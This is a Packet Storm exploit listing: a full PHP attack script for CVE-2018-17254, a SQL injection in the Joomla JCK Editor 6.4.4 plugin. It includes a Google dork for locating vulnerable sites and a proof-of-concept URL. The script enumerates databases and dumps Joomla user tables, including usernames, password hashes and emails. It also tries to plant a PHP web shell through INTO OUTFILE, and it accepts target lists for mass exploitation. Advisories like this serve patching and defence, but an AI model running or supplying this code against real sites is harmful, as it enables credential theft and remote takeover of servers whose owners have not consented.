Joomla JCK Editor 6.4.4 SQL Injection

2021-03-08T00:00:00
ID PACKETSTORM:161683
Type packetstorm
Reporter Nicholas Ferreira
Modified 2021-03-08T00:00:00

Description

                                        
                                            `# Exploit Title: Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2)  
# Googke Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/  
# Date: 05/03/2021  
# Exploit Author: Nicholas Ferreira  
# Vendor Homepage: http://docs.arkextensions.com/downloads/jck-editor  
# Version: 6.4.4  
# Tested on: Debian 10  
# CVE : CVE-2018-17254  
# PHP version (exploit): 7.3.27  
# POC: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa  
  
<?php  
  
$vuln_file = '/editors/jckeditor/plugins/jtreelink/dialogs/links.php';  
  
function payload($str1, $str2=""){  
return '?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,'.$str1.',NULL,NULL,NULL,NULL,NULL'.$str2.'--%20aa'; #"  
}  
  
  
function get_request($url){  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);  
#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");  
$output = curl_exec($ch);  
curl_close($ch);  
return $output;  
}  
  
function parse_columns($columns){  
$parsed_columns = array();  
foreach($columns as $col){  
array_push($parsed_columns, $col);  
array_push($parsed_columns, "0x242324"); //delimiter = $#$  
}  
return $parsed_columns;  
}  
  
function inject($url, $payload){  
global $vuln_file;  
$request = get_request($url.$vuln_file.$payload);  
preg_match_all('/url ="(.*)">/', $request, $output);  
return $output;  
}  
######  
  
function is_vulnerable($url){  
global $vuln_file;  
$output = inject($url, payload("0x6861636b6564"));  
if(isset($output[1][0])){  
if(base64_encode($output[1][0]) == "aGFja2Vk"){ //checking if we can inject  
return 1;  
}  
}  
return 0;  
}  
  
function get_db_names($url){  
global $vuln_file;  
$db_names = array();  
$output = inject($url, payload("schema_name", "%20from%20information_schema.schemata"));  
foreach($output[1] as $db){  
array_push($db_names, $db);  
}  
return $db_names;  
}  
  
function get_table_names($url, $db){  
global $vuln_file;  
$table_names = array();  
$output = inject($url, payload("table_name", "%20from%20information_schema.tables%20WHERE%20table_schema=%27".$db."%27"));  
foreach($output as $table){  
array_push($table_names, $table);  
}  
return $table_names;  
}  
  
function get_column_names($url, $table){  
global $vuln_file;  
$column_names = array();  
$output = inject($url, payload("column_name", "%20from%20information_schema.columns%20WHERE%20table_name=%27".$table."%27"));  
foreach($output as $column){  
array_push($column_names, $column);  
}  
return $column_names;  
}  
  
function dump_columns($url, $columns, $dbname, $table){  
global $vuln_file;  
$column_dump = array();  
$related_arr = array();  
$data = array();  
$output = inject($url, payload("concat(".implode(',', parse_columns($columns)).")", "%20from%20".$dbname.".".$table));  
foreach($output[1] as $column){  
$exploded = explode("$#$", $column);  
array_push($data, $exploded);  
}  
foreach($data as $user_info){  
array_pop($user_info);  
array_push($related_arr, array_combine($columns, $user_info));  
}  
return $related_arr;  
}  
  
function rce($url){ //probably won't work =(  
global $vuln_file;  
if(!is_vulnerable($url)){  
die(red("[-] Target isn't vulnerable."));  
}  
$server_root = array("/var/www/", "/var/www/html/", "/usr/local/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/", "/usr/local/apache2/htdocs/");  
$rand_content = "AklOGg8kJ7GfbIuBYfDS2apD4L2vADk8QgODUg2OmDNy2";  
$payl0ad = "'<?php system(\$_GET[0]); ?> ".$rand_content."'";  
$filename = rand(1000, 7359).".php";  
echo cyan("[i]")." Trying to upload a RCE shell...\n";  
foreach($server_root as $path){  
inject($url, payload($payl0ad, " INTO OUTFILE '".$path.$filename."'"));  
}  
$get_shell = get_request($url."/".$filename);  
if(strpos($get_shell, $rand_content) !== false){  
echo green("[+] RCE shell successfully uploaded! =)\n");  
die("Usage: ".$url."/".$filename."?0=whoami\n");  
}else{  
echo(red("[-] ")."Could not upload RCE shell. Maybe stacked queries are not supported. =(\n");  
die(cyan("[i] ")."But you can still inject SQL commands! What about dumping the users table? =)\n");  
}  
}  
  
function read_file($url, $file){  
global $vuln_file;  
}  
  
############  
  
function green($str){  
return "\e[92m".$str."\e[0m";  
}  
function red($str){  
return "\e[91m".$str."\e[0m";  
}  
function yellow($str){  
return "\e[93m".$str."\e[0m";  
}  
function cyan($str){  
return "\e[96m".$str."\e[0m";  
}  
  
function banner(){  
echo "  
___ _____ _ __ _____  
|_ |/ __ \| | / /| _ \  
| || / \/| |/ / | | | | _ _ _ __ ___ _ __ ___ _ _  
| || | | \ | | | || | | || '_ ` _ \ | '_ \ / _ \| '__|  
/\__/ /| \__/\| |\ \| |/ / | |_| || | | | | || |_) || __/| |  
\____/ \____/\_| \_/|___/ \__,_||_| |_| |_|| .__/ \___||_|  
".green("Coder: ").yellow("Nicholas Ferreira")." | |  
|_|  
  
";  
}  
$target = 0;  
$rce = 0;  
function check(){  
global $argv;  
global $argc;  
global $target;  
global $rce;  
global $target_list;  
global $save_output;  
global $verbose;  
global $less;  
global $specified_db;  
$short_args = "u:t:v::h::l::r::d::";  
$long_args = array("url:","targets::","verbose::","help::","less::","rce::", "db::");  
$options = getopt($short_args, $long_args);  
  
if(isset($options['h']) || $argc == 1 || isset($options['help'])){  
echo "JCK Editor v6.4.4 SQL Injection exploit (CVE-2018-17254)  
  
Usage: php ".$argv[0]." -u url [-h] [-v] [-l] [-o] [-r command] [-f list_of_targets] [-d db]  
  
-u, --url: Path to Joomla! plugins (e.g. website.com/site/plugins/)  
-h, --help: Help  
-v, --verbose: Verbose mode (print tables)  
-l, --less: Less outputs (only Administrator usernames and passwords)  
-t, --targets: Load a list of targets  
-r, --rce: Try to upload a RCE shell  
-d, --db: Specifies the DB to dump  
  
";  
  
}  
  
if(isset($options['u'])){  
$target = $options['u'];  
}elseif(isset($options['url'])){  
$target = $options['url'];  
}else{  
$target = "";  
}  
  
isset($options['v']) || isset($options['verbose']) ? $verbose = 1 : $verbose = 0;  
isset($options['l']) || isset($options['less']) ? $less = 1 : $less = 0;  
isset($options['r']) || isset($options['rce']) ? $rce = 1 : $rce = 0;  
isset($options['f']) ? $target_list = $options['f'] : $target_list = 0;  
  
if(isset($options['t'])){  
$target_list = $options['t'];  
}elseif(isset($options['targets'])){  
$target_list = $options['targets'];  
}else{  
$target_list = 0;  
}  
  
if(isset($options['d'])){  
$specified_db = $options['d'];  
}elseif(isset($options['db'])){  
$specified_db = $options['db'];  
}else{  
$specified_db = 0;  
}  
  
  
if(strlen($target_list) < 2){  
if($target !== ""){ // check if URL is ok  
if(!preg_match('/^((https?:\/\/)|(www\.)|(.*))([a-z0-9-].?)+(:[0-9]+)?(\/.*)?$/', $target)){  
die(red("[i] The target must be a URL.\n"));  
}  
if(strpos($target, "plugins") == false){  
die(red("[-] You must provide the Joomla! plugins path! (standard: exemple.com/plugins/)\n"));  
}  
}else{  
die(cyan("[-] ")."You can get help with -h.\n");  
}  
}  
  
if($target_list !== 0){ //check if target list is readable  
if(!file_exists($target_list)){  
die(red("[-] ")."Could not read target list file.\n");  
}  
}  
}  
  
  
  
function exploit($url){ // returns users and passwords  
global $vuln_file;  
global $verbose;  
global $rce;  
global $specified_db;  
global $less;  
echo cyan("\n=========================| ".str_replace("plugins", "", $url)." |=========================\n\n\n");  
echo cyan("[+] ")."Checking if target is vulnerable...\n";  
if (is_vulnerable($url)){  
$main_db = inject($url, payload("database()"))[1];  
$user_table = "";  
$hostname = inject($url, payload("@@hostname"))[1];  
$mysql_user = inject($url, payload("user()"))[1];  
$mysql_version = inject($url, payload("@@version"))[1];  
$connection_id = inject($url, payload("connection_id()"))[1];  
  
echo green("[+] Target is vulnerable! =)\n\n");  
echo cyan("[i] ")."Hostname: ".yellow($hostname[0])."\n";  
echo cyan("[i] ")."Current database: ".yellow($main_db[0])."\n";  
echo cyan("[i] ")."MySQL version: ".yellow($mysql_version[0])."\n";  
echo cyan("[i] ")."MySQL user: ".yellow($mysql_user[0])."\n";  
echo cyan("[i] ")."Connection ID: ".yellow($connection_id[0])."\n\n";  
  
if($rce){  
rce($url);  
}  
  
  
echo cyan("[+] ")."Getting DB names...\n";  
$dbs = get_db_names($url);  
if(count($dbs) == 0){  
echo("[-] There are no DBs available on this target. =(\n");  
}  
  
$db_list = array();  
foreach($dbs as $db){  
$num_table = count(get_table_names($url, $db)[1]);  
echo green("[+] DB found: ").cyan($db." [".$num_table." tables]")."\n";  
array_push($db_list, $db);  
}  
if($main_db == "" && !$specified_db){  
echo(red("[-] Could not find Joomla! default DB. Try to dump another DB with -d. \n"));  
}  
if($specified_db !== 0){ // if user doesn't specify a custom db  
echo cyan("\n[+] ")."Getting tables from ".yellow($specified_db)."...\n";  
$tables = get_table_names($url, $specified_db);  
}else{  
foreach($db_list as $new_db){  
if($new_db !== "test" && strlen(strpos($new_db, "information_schema") !== false) == 0){ // neither test nor i_schema  
echo cyan("\n[+] ")."Getting tables from ".yellow($new_db)."...\n";  
$tables = get_table_names($url, $new_db);  
}  
}  
}  
echo cyan("[+] ").yellow(count($tables[1]))." tables found! \n";  
if(count($tables[1]) == 0){  
echo(red("[-] "."Site is vulnerable, but no tables were found on this DB. Try to dump another DB with -d. \n"));  
}  
  
foreach($tables[1] as $table){  
if($verbose) echo $table."\n";  
if(strpos($table, "_users") !== false){  
$user_table = $table;  
}  
}  
  
if($user_table == ""){  
echo(red("[-] Could not find Joomla default users table. Try to find it manually!\n"));  
}  
  
echo cyan("[+] ")."Getting columns from ".yellow($user_table)."...\n";  
$columns = get_column_names($url, $user_table);  
  
if(count($columns) == 0){  
echo(red("[-] There are no columns on this table... =(\n"));  
}  
if($verbose){  
echo cyan("[+] ")."Columns found:\n";  
foreach($columns[1] as $coll){  
echo $coll."\n";  
}  
}  
echo cyan("[+] ")."Dumping usernames from ".yellow($user_table)."...\n";  
  
$dump = dump_columns($url, array("id","usertype", "name","username","password","email","lastvisitDate"), $db, $user_table);  
  
if(is_array($dump) && count($dump) == 0){  
$new_dump = dump_columns($url, array("id","name","username","password","email","lastvisitDate"), $db, $user_table);  
if(count($new_dump) == 0){  
echo(red("[-] This table is empty! =(\n"));  
}else{  
$dump = $new_dump;  
$usertype = 0;  
}  
}else{  
$usertype = 1;  
}  
echo cyan("\n[+] ")."Retrieved data:\n";  
foreach($dump as $user){  
if($usertype){  
$adm = strpos($user['usertype'], 'Administrator') !== false;  
}else{  
$adm = false;  
}  
if($less){  
if(strpos($user['usertype'], "Administrator") !== false){  
echo "\n=============== ".green($user['username'])." ===============\n";  
foreach($user as $key => $data){  
if(strlen($data) > 0){  
if($key == "username" || $key == "password" || $adm){  
echo($key.": ".red($data)."\n");  
}else{  
echo($key.": ".$data."\n");  
}  
}  
}  
}  
  
}else{  
echo "\n=============== ".green($user['username'])." ===============\n";  
foreach($user as $key => $data){  
if(strlen($data) > 0){  
if($key == "username" || $key == "password" || $adm){  
echo($key.": ".red($data)."\n");  
}else{  
echo($key.": ".$data."\n");  
}  
}  
}  
}  
  
}  
  
echo(green("\nExploit completed! =)\n\n\n"));  
  
}else{  
echo(red("[-] Apparently, the provided target is not vulnerable. =(\n\n"));  
echo(cyan("[i] ")."This may be a connectivity issue. If you're persistent, you can try again.\n");  
}  
}  
  
  
banner();  
check();  
  
if(strlen($target_list) >1){  
$targets = explode(PHP_EOL, file_get_contents($target_list)); //split by newline  
foreach($targets as $website){  
if($rce){  
rce($target);  
}else{  
if(strlen($website) > 1){  
exploit($website); //multiple targets  
}  
}  
}  
}else{  
exploit($target); //single target  
}  
  
?>  
`